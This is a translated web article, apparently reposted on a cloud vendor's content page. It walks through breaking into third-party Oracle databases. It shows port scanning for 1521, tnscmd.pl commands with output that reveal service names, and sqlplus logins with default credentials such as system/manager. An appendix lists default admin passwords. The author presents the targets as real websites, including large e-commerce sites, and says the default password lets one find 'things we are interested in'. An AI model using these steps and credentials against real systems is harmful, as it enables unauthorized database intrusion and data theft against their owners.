Database security risks caused by default Oracle Administrators

Source: Internet
Author: User

By default, the administrator password of Oracle is fixed to facilitate installation and debugging. In the Oracle database, two users with DBA permissions, Sys and System. I found that Oracle databases on many Chinese websites did not change the passwords of these two users, including many large e-commerce websites, we can use this default password to find things we are interested in.

Before testing, we first need to know some relevant knowledge. When we connect to an Oracle database, we need to know its service_name or Sid value, just like mssql. We need to know the database name. So how can we know? Obviously, this is not the case. Here we will first talk about oracle's TNSlistener, which is located between the database Client and the database Server. By default, it listens to port 1521, which can be changed. However, if you use a tcp session to connect to port 1521, oracle will not return its banner. If you enter something, it may even kick you out. Here we need to use tnscmd. pl is a perl program. It can query whether the remote oracle database is enabled (that is, ping), query the version, and query its service name, service status, and database service name, and the accuracy is very high.

If there is anything you don't know about the theory, you can find the relevant materials. Start testing now. The required tools include ActivePerl, Oracle client, Superscan or other software for port scanning, Tnscmd. pl. we first use Superscan to scan hosts opened on port 1521, assuming the IP address is xx. xx.110.110. What we need to do is to use Tnscmd. pl to query the service name of the remote database. The usage of Tnscmd. pl is as follows:

 
 
  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  2. usage: tnscmd.pl [command] -h hostname   
  3. where "command" is something like ping, version, status,etc.   
  4. (default is ping)   
  5. [-p port] - alternate TCP port to use (default is 1521)   
  6. [--logfile logfile] - write raw packets to specifiedlogfile   
  7. [--indent] - indent & outdent on parens   
  8. [--rawcmd command] - build your own CONNECT_DATA string   
  9. [--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  10.  

Below we only use a few simple commands, and other commands are also very useful. Let's explore them together.

Then we will:

 
 
  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  2. sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  3. writing 91 bytes   
  4. reading   
  5. ._.......6.........?. ..........   
  6. DETION=   
  7. TMP=   
  8. VSNNUM=135286784   
  9. ERR=0   
  10. SERVICES_EXIST=1   
  11. .Q........   
  12. SERVICE=   
  13. SERVICE_NAME=ORCL   
  14. INSTANCE=   
  15. INSTANCE_NAME=ORCL   
  16. NUM=1   
  17. INSTANCE_CLASS=ORACLE   
  18. HANDLER=   
  19. HANDLER_DISPLAY=DEDICATED SERVER   
  20. STA=ready   
  21. HANDLER_INFO=LOCAL SERVER   
  22. HANDLER_MAXLOAD=0   
  23. HANDLER_LOAD=0   
  24. ESTABLISHED=447278   
  25. REFUSED=0   
  26. HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  27. HANDLER_NAME=DEDICATED   
  28. ADDRESS=   
  29. PROTOCOL=beq   
  30. PROGRAM=/home/oracle/bin/oracle   
  31. ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"   
  32. ARGV0=oracleORCL   
  33. ARGS="   
  34. LOCAL=NO   
  35. "   
  36. .........@   
  37.  

From the above information, we can see that the database service is named ORCL, and then we can remotely connect to it through the sqlplus tool, use the default system/manager or sys/managerOracle Administrator as the username and password, and use other commands such as mdsys/mdsys and ctxsys/ctxsys, the Default User and password change with the version. As follows:

 
 
  1. C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  2. SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  3. (c) Copycenter 2001 Oracle Corporation. All centersreserved.   
  4. SQL@@@@dayu@@@@connect system/manager@   
  5. (detion=(address_list=(address=(protocol=tcp)   
  6. (host=xx.xx.110.110)(port=1521)))   
  7. (connect_data=(SERVICE_NAME=ORCL)));   
  8.  

If the password is correct, the system will prompt connected. If not, change the default user name and password. After my attempt, dbsnmp and dbsnmp can be used. Of course, if the other party has changed the default password, we can only change to another target. However, I found that many of them do not change. This is a security awareness problem.

Appendix Oracle Default Administrator Password

1.
Username: sys
Password: change_on_install

2.
User name: system
Password: manager

3.
Username: scott
Password: tiger

  1. How to unlock users in Oracle
  2. Five-minute master of Oracle tablespace
  3. Authorization and management for five Oracle users
  4. Oracle administrator Manual: database management tools
  5. Step 4: Change the Oracle user name

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.